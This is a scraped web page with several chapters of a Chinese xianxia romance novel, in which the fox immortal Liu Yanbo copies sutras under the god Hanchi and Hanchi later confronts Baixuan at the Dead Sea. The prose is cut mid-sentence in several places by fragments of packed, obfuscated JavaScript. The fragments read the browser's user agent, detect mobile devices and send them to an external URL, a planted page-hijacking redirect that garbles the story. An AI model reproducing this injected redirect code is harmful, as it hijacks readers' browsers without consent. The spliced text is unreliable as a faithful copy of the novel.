“你怎么了!”波波见她痛成这样,连忙撂下手中磨墨的活计,扑到她身边查看。 她道:“神女莫再催动仙力了,妖道和神道的筋脉法门截然不同,运用妖术的法子催动仙体,无疑于倒行逆施,对你的身子大有损害。” 烟波由她扶着,慢慢坐下,虚弱的问:“这么说,我现在的身体,连以前学的术法都不能用了?” 波波点点头,从怀中捧出一匣药,道: “就着茶水将药吃了吧,闭眼吐纳,以气行于经脉游走,反复冲击赞竹,鱼腰,丝竹空三穴,让走岔的真气被带起,应该就可好了。” 烟波依言照办,两炷香的功夫后,果然感觉丹田渐生暖意,身子也不再疼痛。 她长舒一口气,瞥见放在桌上的药匣,里面放着一粒粒乳白的药丸子,还散发着淡淡的清香。 她福至心灵:“你怎么会有对症的成药丸子?这药和心法都是寒池给你的?” 见波波默认,烟波对自己嗤笑一声:“看来都在他的掌握之中了。” 那她玩心眼就是真没意思了。想想再也没有罩回来的等闲境屏障,分明是对她无声的警告。 她认命的翻开佛经,抄了起来。 “教化六道一切众生。所发誓愿劫数。如千百亿恒河沙。” 远在千里的海天佛国,寒池抚着竹宣,细细读着他早已烂熟于心的经文。 纸上笔迹恭谨,一笔一划写的颇为认真,楷书中含着行草之意,笔意酣畅狂放,若不是他知道底细,恐怕也不敢轻易下判断是出自女子之手,更不会相信是出自那位狐女之手。 第一天送来的还有些滞顿,后来一日日松弛下来,字写的越发有些意思。 自他十日前应菩萨座下弟子邀请,来此参加法会,柳烟波的经文每天定时传来,出乎寒池意料,竟未曾间断。 他的目光停在经文末的一行小字落款:小仙 柳烟波敬颂颐安。 这狐狸还是一样的滑不留手,专在这种地方耍心眼卖乖。 他摇摇头,将翻阅过的纸张整理作一沓,十日下来,已作一小丘高。 黄钟端茶进来,正看到他垂眸凝神,嘴角微噙一抹浅笑,修长手指抚在佛经上,如一尊玉人雕像拂了春风。 他呆了呆,才将茶水放在桌上,不敢打扰眼前这般场景,轻手轻脚的出去了。 寒池接着往下看去。经抄的尚能一提,可参悟写得实在叫人不敢恭维。 也是难为了她,没读过经的人被打发去去参悟佛理,通篇都是套话空话,一句落在实处的都没有。 只有一处还算对症,为了论证一句佛理,她往往引用其他经文举一反三,管它引用的对不对头,先往上砌了再说,虽知这是在凑字数,可亦显出她看了些书,比他预想的好些,至少懂得旁征博引。 他起了兴致,一个字一个字的数起,不多不少,正好一千字。 动机是不正,结果却是不错,这样能算好么。 寒池提笔蘸了朱砂,在烟波的参悟后补上一行小字。 自那天起,破天荒的,烟波第一次收到了回信,准确来说,是收到了作业的批注。 在她的佛理参悟下,被寒池提了一行小字: “若以色见我,以音声求我,是人行邪道,不能见如来,唯明本心耳。” 是《金刚经》中的一句偈。他又是什么意思? 男人心,海底针。 烟波读的懂这句偈,读不懂这位上神的心,看来这男人又犯了夫子瘾,故意出题考她来了。 但此刻寒池的心思就是她的心思,投其所好拍马屁就是她最光荣的任务,为保饭碗,烟波义不容辞,和这片纸拼了。 十天后,一篇新鲜出炉的“《金刚般若波罗蜜经》四句偈论”摆在了寒池案头。 柳烟波正是围绕着他上次的四句批注,又东拉西扯了一千字。 寒池:……? 他握笔的手微滞,也行吧。 玉笔落在纸上,又笔走龙蛇的添了一行。 烟波再次收到回信,又是批注。 一行飘逸朱砂行书写道:“吾言甚易知,甚易行。天下莫能知,莫能行。” 烟波:???什么玩意儿? 她两眼一抹黑,这人蹬鼻子上脸是吧!当初是谁不肯让她认师父的? 他大爷的,她到哪再凑一千字!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332628|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 忙着扑蝴蝶的波波看到她快将笔咬秃,冷不丁又砸出一个大雷:“神女快些写罢,上神今日就要回来了。” “什么?他不在雪斋?”烟波惊了。 “上神去海天佛国参加法会了。” “什么时候的事?” “一个月前。” “......”正是寒池给她拖佛经的日子。 算了,这不是重点,他爱去哪去哪。 烟波换了根笔啃,恨不得以头抢地,写一千字已是要了老命,再来一千字,她真的做不到哇。 波波为砚台添上清水,顺口一问:“神女今日的佛经抄了吗?” “......” “!!!” 烟波才想起来还有这事。 她抬头看看天光,不抱希望的问:“你说,你家上神会不会路上有事耽搁了,明日再回?” “神女别担心,上神的行云日行千里,不会回不来的。” 她不是这个意思...... 往日波波总是在早上给寒池传送前一天的佛经,她写一阵歇一阵,大不了还能挑灯夜战,可他今天就回,现下已是晌午,一篇偈论一卷佛经打死她也完不成啊! 她现在装病还来得及吗? 看了看立在身边这个忠心耿耿的小细作,烟波默默把这个想法摁了回去。 都装孙子装了这么多天了,最后一天开天窗那就是功败垂成功亏一篑,白辛苦了一个月。 好不容易哄得这位大爷愿意搭理她两句,临到头来漏了气,这不能够! 到时候寒池非但不会将她的诚恳记在心上,反而会认为她又在偷奸耍滑,那更完蛋。 若连拍马屁都拍不好,她还能做成什么事! 烟波咬咬牙,她绝不能这么放弃。 “波波,你……会写偈论吗?”烟波眼睛湿润,盯得波波毛骨悚然。 波波放下手里的网子,歪头认真想了想:“偈论是啥?” 小果子精表示自己刚成人形不久,还不曾读过佛经。但是对上烟波垂泪的琥珀眼睛,还是好心将太簇等一帮白鹤供了出来。 寒池去参加法会,只带了黄钟一个,留下八只心智不全的看家,他们便乐得自在,一个个藏进林子里嬉闹。 烟波只好一只只请了出来,又一把鼻涕一把泪的,哭诉如果抄写不完就会被寒池丢出去。 这八只白鹤长日在等闲境待着,不曾接触世事,又心智未开,同七八岁的孩童无异。 他们虽然听不懂什么偈论般若,但还是听明白了烟波要被赶出去,想到之前烟波跪在雪斋前的凄惨模样,更瞧她可怜,立刻答应下来。 然而还没等她美多久,拿到白鹤们代抄的佛经就傻了眼。 她发现自己忽略了一个重要的常识问题,白鹤们心智如孩童,意味着他们的学识水平也等同孩童。 这歪歪扭扭的鸟爪字怎么也装不成是她写的,甚至蕤宾、林钟、夷则几个小的仅仅是会拿笔而已,水平远不如波波...... 面对此情此景,烟波没有什么想说的,只想回到桂山仙翁宴上将自己脑子里的水都抽出来。 14. 女状元 等闲境上神寒池有一只非常大的几,由交让木制成,常作半枯半荣之态。 书置其上文采倍增;画卷置于上可增神气,花鸟竹石栩栩如生;茶水置于上可添馥郁,陈茶亦变佳品,寒池平日觉得它有作弊之嫌,只拿它来煮茶用。 可即便是交让几,也拯救不了柳烟波交上来的抄经。一篇四句偈论,一卷《首楞严经》摆在一起,更显得天差地别。 寒池轻点桌面,莹白的指节落在写成“間”的“阇”字上,清声道:“这是谁帮她写的?” 他的话如往常一般平静柔和,却吓得白鹤们齐刷刷的向后倒退一步,缩成一团肩并肩挤着站。 推推搡搡了一会儿,太簇站出来小声说:“神女说......如果她抄不完,就要被赶出等闲境,我们看她可怜,就答应了。” 众白鹤连忙点头。 寒池哦了一声,神情如常。 “但是!神女最后没有用我们抄的,真的!寒池,她真的很辛苦呢!” 太簇把手中揉成一团的竹宣展开,露出几个不忍直视的鸟爪字。 是看不上你们的字吧。 寒池腹诽。他放下纸卷,抬头道:“没有用你们抄的,你们就没有抄吗?” “这……”太簇挠挠头,不知该如何作答。 “下去吧。” 白鹤们讪讪的走了。 如烟波所料,她又被叫进了雪斋。 来的路上正与白鹤们撞上,见他们各个蔫了吧唧,她心道不好,这时白鹤们已经发现了她,如临大敌,还未等她问出口便呼啦啦化为鹤形飞跑了。 世态炎凉啊...... 波波天都要塌了,紧拽着烟波的裙角哭哭啼啼:“完蛋了,这下上神一定会把我塞回花盆里了!” 烟波摸摸她的头:“我和你作伴,正好他把我也塞回坟里埋了。” “不、不会吧......”波波大惊失色。 烟波笑嘻嘻的捏了把波波肉嘟嘟的脸蛋:“你这小丫头就是太呆,听不懂玩笑话。” “有你这份心,姐姐肯定不让他埋你。” 可惜她没有早早醒悟,当初就应该摔笔装病,他又能拿她如何? 雪斋清凉,踏进便是满身清香,似草木似茶叶,全部都是寒池身上的味道。 与上一次踏进这里相比,烟波心境已变得能够泰然处之,只是想到每次来这都是为了给那个用鼻孔看她的男人低头认错,实在有够窝囊。 啧,不爽。 一道融融的光晕闪过,身边的波波已经消失了踪影,而她像与雪斋隔了一面镜子,不被允许进入。 寒池见波波已召唤至面前,道:“从前还看到她将你欺负哭了,何时变得如此要好,还肯帮她抄经?” 波波低头嗫嚅道:“那日回去,我哭的太多缺水了,昏在地上,全靠烟波一直给我浇水...后来我发现,只要我不哭,她也不会凶我......” 她看了看寒池脸色,两只小手绞作一团:“她说我不会梳头,现在每日都换着样子给我梳头,戴花......” 寒池见她头顶用五色彩绳挽了两个油光水滑的发髻,还精心编了几绺小辫子垂下,鬓边插着花草编成的钗饰,果然与以往不同。 等闲境在烟波飞升前全是男子和雄鸟,确实谁也没注意过小果子精的打扮问题。 这小果精和仙鹤都是半斤八两,是堆傻的。 “上神。”波波怯怯的回头:“我是不是做错了?” 寒池唤她到身边,想了想,道:“我们草木冷情,你能这样助人,很好。” “只是。”几片纸飘飘乎落在波波头顶:“一向以为你书读的多,今日才发现字写的却差劲,以后,你就同她一道抄抄罢。” 波波要哭不哭的出来了,嘟着嘴对烟波道:“上神叫你进去。” 两拨人马铩羽而归,烟波的暗暗咋舌,不会吧,就是做功课偷了个懒,有这么严重? 但是对象是那个自大自恋又斤斤计较的小心眼,一切皆有可能。 想到此处,她左脚迈进雪斋的门,右脚就琢磨着要不要扑通给寒池跪下,先给他个下马威。 “几日不见,你过得不错。” 寒池依旧着一身青衣,神色淡然温煦坐在屏前。 身后一棵如盘虬的粗大树干破屋顶而出,点点星星的天光从枝叶间隙漏下,拉成一束束细长的光束打在他身上,平增一层清辉,他的脸庞在这半明半暗间,如画如诗。 唔,这人模狗样的,也许他没她想的这么烦。 “短短几日,就能将境中的精兽都笼络到自己手中,佛经果然养人。” 烟波在心里狠狠抽了自己一个大嘴巴子。 “低头做什么。” 当然是低头骂你。 烟波不情不愿的抬起头,暗忖他应该没有读心术吧? 结果意外对上寒池依旧柔和的眼,并不似生气的模样,又或者是他天生的那双多情眼睛作怪? 她一时拿不准,堵在腔子里的那口怒气也不知不觉的发不出了。 “本以为你会称病推脱不来,是我低看了你。” 她立刻庆幸自己没装病。 趁着这听起来不算坏的话头,烟波抢着道:“是我硬要拉他们帮我赶抄佛经哄骗上神,请上神明辨,要罚就罚我罢!” 失败就要有失败的样子,她再无耐心给他兜圈绕弯,爱谁谁吧,老娘就这样了! 等了半天没听到答复,她忍不住偷瞄了一眼,却看到寒池单手撑着侧脸,脸上有抹似有若无的温柔笑意,一副心情上佳的样子。 “这篇四句偈论我看过了,其他暂且不论,只有九百九十九个字,差一个字。” 烟波:“?”他有病吧! “佛理精妙,抄一个月也参悟不出什么,日后经些世事,再作此篇吧。” 那你折腾了一个月干甚! 烟波这一颗心被他弄得在水里进火里出,一下冷一下热的,累的不下抄过一卷佛经。 “白月镯呢?”他突然问。 烟波好一会儿才反应过来,白月镯就是那天他打发她的那只镯子。 她摸摸光秃秃的手臂,皮笑肉不笑的殷勤道:“您给我的宝物,我怎敢轻待,这不供在房里,日日擦拭着呢。” 寒池拿起卷书,翻了一页,淡淡道:“不必,戴上吧。” 他抬起眼皮,见她还站在原地,道:“回去吧。” 这就没事了?她怎么突然转性了?烟波虽然稀里糊涂,但从善如流,就要退下。 未等她离开,只听身后传来一个声音,“我看到了你想留下的决心,这很好。下次该怎么做,你应当明白了。” 烟波脊背僵直,思索他想听一个什么样的答案。 她试探道:“那下次,写不完就是写不完了?” “你说呢?” “......”看来不行。 此时烟波背对着他,寒池看不到她的表情,只看到纤薄的肩头微微下沉。 他道:“不想笑就别笑,太假。” 烟波想,她偏不! 她偏要假死他。 她挂上一个完美无缺的动人笑容回了头,见他眼波融融,脸色却无波无澜,心中那股奇异的割裂感去而复返,忍不住脱口而出: “如此我便问了。上神,我飞升的旧日机缘,到底是什么?” 寒池没有如她想象中的回避她,只是凝视着她的脸,仿佛想从其中看出些什么。 最终,他只说:“我想,还不到时候,回去吧。” 意料之中,意料之外。 目送烟波失望的背影离去,寒池又瞥了一眼她放在桌上的竹宣,上面他写下的四句偈论鲜红如初:“若以色见我,以音声求我,是人行邪道,不能见如来,唯明本心耳。” 随后,他走出雪斋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332629|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,来到殿后一口小井旁,结印施法,井水立刻沸腾翻滚起来,咕噜咕噜的冒着泡。 浮在水面的珠玉飞散,一颗碧绿的珠子渐渐显露出来,井水也被珠子染成朱红颜色,成了血井。 寒池凝视着珠子,眸色沉沉,面上无澜。 身后的不尽木静静向下流泻着星点银色光芒,衬得他面色更加苍白。 待他离去,珠玉簌簌落回水中,仿佛什么也没有发生过。 自那日后,寒池开始向烟波传授心法仙术。 两人见面依然不多,每日教两个时辰,第二日他依照心情抽查功课,剩下的时间是烟波自习。 烟波这才发现在人间学的那些墨水,到了九重天都是白做工。 上古创世神自有一套天书古字,即便现在九重天的书籍已与凡间文字相通,可最高深的远古神法始终只用古字记载相传,她只得从头学起。 依照寒池的安排,上午学写字,下午抄理论,晚上抄术法,一天各一章,上午一章五遍,下午一章十遍,第二天还要等着寒池抽背,不给她留一丝空隙。 烟波意识到,她遇到了有史以来最难讨好的男人。 这寒池阴晴不定,本以为该打她一巴掌的时候他给个红枣,本以为能给个红枣的地方他冷不丁抽个大嘴巴子,叫她次次都拍马屁拍到马蹄子上。 就像这如山高的功课,又像是红枣,又像是巴掌。 除开折腾她贡献了一千九百九十九个字的那句批注,佛经不见他讲,典籍也不见他讲,他的教书方法就一个字:抄。 用寒池的解释,读书识字贵在自悟,她都这般年纪,自然不用幼童开蒙的教法。 “这般年纪”又把烟波给噎得无话可说,只恨这夫子不能换不能辞,只能自认倒霉。 “他是真指望姑奶奶给他考个状元回来啊!”五天下来,烟波已是学到发癫,笔杆“啪”的一声落在地上,墨点子甩的到处都是。 他要是真去人间当教书匠,能教出一个秀才她就能跟他姓。 波波见怪不怪,用术收了墨点,捡了笔递还给烟波。 她现在也是和烟波一起抄经的难姐难妹,心有戚戚焉,所以劝诫起来也不怎么走心,细声细气的道一句:“上神也是为了你好。”也就罢了。 她能不知道是为她好么,摔完笔烟波还是得捏着鼻子继续抄。 “小仙林素,奉颂朱仙君之命拜见上神,还请代为通传!” 忽听远远的传来有人呼声,那声音不大,却绵绵不断地传来。烟波竖起耳朵听了一阵,问波波:“他在同谁说话?” 波波自然还是什么也不知道。烟波当机立断,撂下笔兴冲冲的推门出去。 行到林中,正撞上一只仙鹤扑腾着翅膀从枝上落地,就落在她们眼前。 它慢悠悠的看了烟波一眼,便不睬了,闲庭信步的走着。 除了黄钟,烟波还对不上剩下八只的脸和名字,便循声追去,转眼就超过了它。 前方的呼声越来越大,当拨开最后一缕雾,十七八个神仙排着队堵在等闲境门口,伸长着脖子等人出来。 看见烟波出来,一个个眼睛都亮了。 众仙一拥而上,团团包围。“这位就是烟波神女吧!早听说过神女的大名,今日才得一见,真是名不虚传啊!”一个圆脸神君道。 “神女可算来了,有了神女在,我们也不用再麻烦贵境仙鹤了!”旁边的大眼神君挤开圆脸神君道。 “是啊是啊,终于有个传话的人指引!”再旁边的粗眉仙娥将两位神君分开。 白鹤这时终于赶上了烟波,听到这帮人已将他抛之脑后,在旁边冷傲的发出一声鄙视,拍拍翅膀踱步回了。 这群神仙七嘴八舌的拥上来,听得烟波一个头两个头大。 她隔着人群与白鹤遥遥相望。这次烟波福至心灵的读懂了白鹤的眼神——自求多福。 它心智不全是装的吧。 15. 太监头子标配 “所以,上神在吗?”众人齐齐问道。 自然不在。 这是上次勾引未遂事件的后遗症,寒池与她现在是非必要不见面,见完就跑,生怕自己被轻薄了去。 烟波这件事上理亏,只好以绝不搭理他作为回敬。 于是作揖道:“上神不在境中,诸位仙友择日再来吧。” 神仙们却不肯白跑一趟,执意说:“先前上神不放童子仙使,只有白鹤在境前守着,我们想递个话也艰难。现在神女来了,便是把帖子留下,我们回去也好交待。” 怪不得白鹤溜了,原来就在这等着啊。 而寒池只叫白鹤看门,明摆着是诚心拒客。 想到这里,烟波痛快的一点头:“那请我把各位的事项列个单子,等上神回来我便转交给他。” 能名正言顺给他添堵的事,她必干!保证一字不落的都给他记下来,看不把他给累死。 人群中的粗眉仙子同圆脸神君素来相熟,见此热闹,互相使了个眼色退到一边,小声嘀咕道:“这等闲境变天了,原来都是上神的坐骑金鹤通传,怎么换了她......” 圆脸神君听出她语中暗含不屑之意,悄悄斜撇了眼那正在提笔忙碌的女仙。 只见柳烟波素手执一只玉笔,在檀莎纸上写写画画,对诸仙都是一派笑盈盈的神色,给本就娇美的脸上添上三分生动鲜丽,更显得神采飞扬,顾盼生辉。 他低声道:“上神这是铁了心抬举她,让她抖风光呢,他被迷晕了头这天上谁人不知,你倒还当成新鲜事了。” 粗眉仙子摇头道:“我是听闻在泠溪宴上神为了她,给白民王女了好大没脸,听她们的形容,这狐狸是个怯懦的性子,今日一瞧,分明活泼的很呐。” “她春风得意,自然要抖起来咯。” 在场神仙眼神乱飞,想来大家心思相似,多的是话肚肠里打转。二人做好打算,又带着笑脸融入众仙当中。 寒池一回来便见着一群人堵在等闲境门口。 仔细一瞧,中间还围了个柳烟波。 她前面铺了纸笔,边上还站了个波波充当书童磨墨添水,只听她殷勤招呼着:“各位仙友莫急莫急,一个个来啊。” 寒池不知她在耍什么把戏,见她人气高涨,知趣的绕路撤回雪斋,正好对上溜回雪斋偷懒的白鹤。 寒池:“......” 白鹤大吕:“嘎。” 帖子处理过半,众仙各自散去。烟波照例揭开一张帖子抄写,里面的折页一经露出,短短弹指间已自燃起来,来不及合上便化为灰烬。 一旁的波波惊呼道:“烟波,你又闯祸了!” “你说,这帖子是谁送来的?”烟波捻起灰烬,若有所思。 波波摇头,听烟波道: “这帖子下了阅后即焚的禁制,说明其中所书必是十万要紧之事。 可若真如此重要,那传信人必不敢假手于我,至少也该专程交给我做嘱托,这样半遮半掩不像好意,说不定烧了还是好事。” “那现在怎么办?”波波探着脑袋凑上来。 这帝休果精的专长全在这一目十行,博闻强记的功夫,烟波总说她若在凡间,必要当个状元,方才仅仅瞥了一眼,便记下了几个词,连忙抄下给寒池送去。 烟波叫住她:“先告诉我,登比氏是谁?” 波波恨铁不成钢:“神女背的《上古神异谱大系考》中有录的!” “那大部头书有考、续考、次考、补考,我才刚开了个头考到祝融陨鼓,他还在后面排着呢!”烟波理直气壮道。 波波叹了口气,娓娓道来:“登比氏是上古神族,和我们上神还颇有渊源,其中的偍唐上仙、莲扶上神、上神一同受过句芒真神教诲。真神遁世后,上神与苍舒氏的丛华上神、登比氏的偍唐上仙分司木正之职。 上神司管春木、生命;丛华上神司管东方、祖巫、偍唐上仙司管扶桑与温源谷。” “想起来了,帝舜的妃子就叫登比氏?” 总算是给了督学波波丁点安慰,旋即醒过神来,急得又蹦到半空,拖着烟波往雪斋走:“都什么时候了,别管什么神谱了,快走快走。” 烟波捧着纸振振有词:“我若不多问,他一时兴起给我来个抽背,这谁受得了。” 进了雪斋,寒池已端坐在内,烟波抖擞精神,详细向寒池一一介绍名单上的人物,见一个唱一个名,还不忘给寒池端茶倒水,自觉十分周到。 寒池轻轻将名单推到一旁,略一挑眉:“倒没发现,你喜欢干这些。” 烟波被他盯得有点心虚,嘴上打着哈哈:“上神谬赞了,都是举手之劳。” 随即从袖中摸出一张纸条,轻轻移到寒池手边。 “这是什么?” 纸条上列着“偍唐自引死海水登比氏”几个字。 烟波将事情经过与寒池说了,寒池“哦”了一声,问:“你知死海水出自何处?” “……” 波波顿时对烟波刮目相看,竟然真被她料到上神要抽考,可惜还是押错了题。 “有汜天之山,赤水穷焉。赤水是上古称谓,现在东南方向的这一支汇集于汜天山,被叫做死海。” 她答不上来在寒池的意料之中,直接告诉了她答案。 他轻轻用手指叩着桌子,似乎在想些什么。 “偍唐自引死海水登比氏” 偍唐自引汜天山死海水登比氏一族的情谊。 只言片语,已经足够。 寒池将剩下的单子随手翻过,道:“名单写的确实详细,我需将大荒、黑水、朽涂山,四海八荒都走个遍才行。” 烟波早有准备:“我怕自己初来乍到,思量不周,就全记下了。” 怎样,这么四海八荒的一圈跑下来,又有几个月不用相看两生厌了! 寒池眼睛在她脸上转一圈,道:“无妨,有些确要我自己去,来去需要一段时日,也就抽不出空管教你的功课了。” 此时烟波确定寒池已看穿了她的把戏,只不过她依然决定装傻。 “也好,我不在的这段日子,你就去境门口坐着迎客吧。” “???”这不就是给他当门房? “此事需要周全,白鹤不能胜任,方才我瞧你就干得不错。” 他愉快的叹道,一脸“我怎么没想到”的表情。柔和的嗓音落在烟波耳中,更像是一种揶揄。 他忽然又想到了什么,了然的点点头:“你提醒了我,你初来乍到九重天,的确不该只死读上古史。你在门前迎客,正好将来者和上古史比照,分析其来历,写一篇述论给我瞧瞧。” 述论他个锤子! 听他还在兴致勃勃的让波波如何把述论传送给他,烟波磨着后槽牙,恨声道:“事关重大,我怕是不能胜任,我什么礼数都不懂,自己丢脸事小,可不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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树上的实在听不下去了,飞了个东西下来,烟波“哎呦”一声,后脑勺被砸了个实实在在。 “谁!”烟波疼的呲牙咧嘴,扭头一看,地上躺了柄拂尘。 拂尘……拂尘?烟波脸绿了,这可不就是太监头子标配? 她捂着脑壳抬头,树上的衣角依旧如示威般的飘荡着。 “烟波烟波,到底是什么小鸟啊。”波波满脑子都是小鸟,还在打破砂锅问到底。 烟波手中的竹笔一抖,拖出一道长长的墨痕,将好好的字劈了个大叉,这篇帖子算是毁了。 她算是服了这小果子,祖宗啊你就没注意树上有东西掉下来,还砸了你漂亮姐姐的头? “我、我也没见过。”她吞吞吐吐。 “那为什么小厮有,太监就没有呢?”她穷追不舍。 烟波闭着眼开始胡说八道:“这个这个……因为小鸟要拿胡子做巢,太监没有胡子,所以小鸟不来。” “那太监为什么没胡子呢?” “因为他不想养鸟吧。”烟波彻底破罐破摔了。 她感觉头顶格外的沉默,心中长叹一声,这小果子可坑惨了她,现在在寒池眼里,她又多了一条罪状。 树上,一件长衫搭在枝叶间,穿长衫的人却不知所踪。 16. 友好交流 涛声拍打着岸边礁石,发出阵阵呜咽,被风吹出似有若无的歌声,飘渺在汜天山中。 青色长袍轻轻坠地,拂散了海浪的吟唱。 那人眸中的冷光与他高冠上的光芒相互辉映。被风一吹,衣带飘举,长发轻扬,更显得不似世间之人。 他站定,任凭风吹着。 这里正是汜天山死海,白玄真君的流放之地。 “寒池上神降临寒舍,小仙有失远迎,还请上神见谅。” 门应声而开,白玄立在门中,面上带着笑,可一双眼睛却冷冷的,话梢里也带着阴风。 寒池并不挪步,开门见山道:“我不是来叙旧的,偍唐在哪里。” “听不明白上神的话。怎么,嫌我这里破败,不愿踏足?” 他向内做了个请的手势,他瞟见寒池手中空无一物,意有所指的讥讽道:“传闻要防着上神两手空空,因为随时可能被消失的夷骨剑贯顶,今日,是轮到我了吗?” 闻言,一柄折扇收回寒池手中,他不再理睬,掀了袍角跨入殿内。 这忘辛殿内甚空旷,只摆放了寥寥的家具,颜色灰败,空气中弥漫着朽旧独有的气味。 寒池席地而坐,立刻便有仙侍出来端茶倒水的侍候,杯内的赤色茶水散发着幽香,和腾起的湿热蒸气揉在一起,更沁出一股子幽秘来。 白玄见他盯着茶沉思,挑起一边眉毛:“这茶是拿海上的神草炼成,兼有熏香之能,上神尝尝,不比你等闲境的香雪茶差。” 一股苦涩的海水味儿从茶中飘来,茶水升腾的雾气渐渐形成一个骷髅形状,呼啸着朝寒池扑来。 寒池只静静摩挲着杯沿,那骷髅头已被劈作雾气消散了。 他垂眸凝视杯沿的细小气泡:“用死海水煮茶,使人闻而忘忧,尝而致幻,我确实做不出。” 对面的白玄桌下的手握成了拳,面上仍笑道:“上神不敢尝么?” 寒池瞟了眼他,仰头将茶水一口饮尽。 白玄却被他不在意的样子所挑衅,他知道寒池是玗琪神木所化,一切幻术瘴毒对他来说皆能净化排解,可他就是不甘心。 寒池放下杯子:“捉不到柳烟波,就要拿偍唐引我出来,真君,你这次是真的过分了。” “拜你所赐,我被流放到这汜天山的破败神殿里看守死海,多称你的心啊?”白玄冷笑。 “倘若真君肯恪守规矩行事,自然不会变成如此地步。” “你!”白玄登时暴起,茶水四溅。 寒池为那狐狸精苦心铺平飞升之路,玩弄天规于股掌,他有何资格冠冕堂皇的教训他守规矩? 寒池仿佛还觉得不够,嘴角翘起:“听闻你前不久才解了封,如今捉了偍唐,我也很好奇这次该将你流放到何处?” 见白玄还要抵赖,他继续紧逼道:“私自掠去东方木正,使扶桑之地失去护卫,金乌难以出发。 眼下已至晏食,留给你的时间不多,尽可以与我饮茶,待到正中,我就将你的帖子送至四御,做个人证俱在如何?” “笑话!那帖子阅后即焚,你拿不出丁点证据指控我。” 寒池见他扬眉吐气,也抿唇一笑:“是啊,那帖子烧得连渣都不剩了。可只要有偍唐,何需那张纸? 我想,谅真君如何大胆,也不敢真杀了他,你的有虞氏血脉也保不住此等大罪。” 白玄却冷静下来,眼中满是讥讽之色: “那日在雷部一叙,我也看明白了!即便我再小心谨慎,占尽理义道法,但只要决策者偏私,我都不可能成事。 既然如此,还不如让自己痛快,反正结果都一样!” 寒池摇头,不赞同道:“倘若你铁心泄愤,我多说也无益,只得掀了这里,自己去找。” 说罢他站起身来,手中的折扇已然不见。 白玄脸色大变,他知道寒池说到做到。 他冷笑道:“我玩不过你这些阴谋阳谋,你也别威胁我。凭你这等虚伪货色,我可不信你会为了救偍唐大闹,怕是借着由头灭我的口吧。” 他踉跄了几步,点点头自顾自地说:“是了,你最擅长表面功夫,当年处心积虑作登比氏的跟班,现在处心积虑拿到了御炎珠,你想要的什么骗不到?” 说到愤恨处猛一挥袖,将茶水打翻在地。 寒池充耳不闻,起身便要出去。 “等等!”白玄急了,追着寒池叫道。 他本想掳走柳烟波引来寒池,可惜那狐狸只被寒池带出去过一次,便再也没有踏出等闲境半步,他等不了,只能囚了偍唐。 这是他手中最大的筹码,本想杀杀寒池的威风再和他谈条件,但若寒池丝毫不顾旧情,那他岂不是白给自己惹罪? “句芒隐世,你总算不用再装了,连他的后裔都不管不顾,真神真是白养了你这个没心肝的弟子!” 寒池不置可否,只静静的看着他:“真君也是真神的后裔,你是在为偍唐鸣不平,还是为自己鸣不平?” 眼前这株神木的化身,一如往昔般温文尔雅,可眼底冰冷的嘲弄丝毫不加掩饰。 这是白玄最讨厌他的模样,每次被他羞辱,他都是这样站在一旁静静旁观,从不对他语出恶言,落井下石,可看笑话的眼神却装都懒得装。 如今的九重天比起出身更看重能力,是同寒池这样新神的天下,白玄天赋修为都不如寒池,再以正统旧神后裔自居,也只混了个真君当,寒池这番话,正正扎在他的心上。 一想到这里,白玄便再也顾不得什么,指着他鼻子大叫: “别给我在这抖!要偍唐,就把御炎珠给我!” 寒池面色不改,用折扇将面前的指头嫌恶地拨开,眼神越发冷淡: “我没有那颗珠子。” 白玄嗤笑道:“莲扶与魔界私相授受,被罚经十世情劫才可返天。第十世情劫不可化解,势必身死道消。没有御炎珠她怎能成功?” “精诚所至金石为开,是上苍为之动容。”寒池被长睫掩盖下的眸光起了变化。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332631|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “共工全族被斩杀前,将周身精华化作一颗御炎珠藏在古战场,得之便能焕发新生,扭转乾坤时运,这是上古宗族的谜辛,只有有虞氏和登比氏两族的极少数人知晓。 数千年来有虞氏全族严守秘密暗中寻找,都一无所获,如今知道这个秘密的只剩我和莲扶,你一向与莲扶姐弟交好,除了你们还会是谁!” 见寒池连眼皮都不抬一下,他气极反笑道: “好,不承认是吧?你第一个发现古战场下沉,将息壤封印在等闲境,随后下界的莲扶就顺利渡劫回到九重天,你说是为什么? 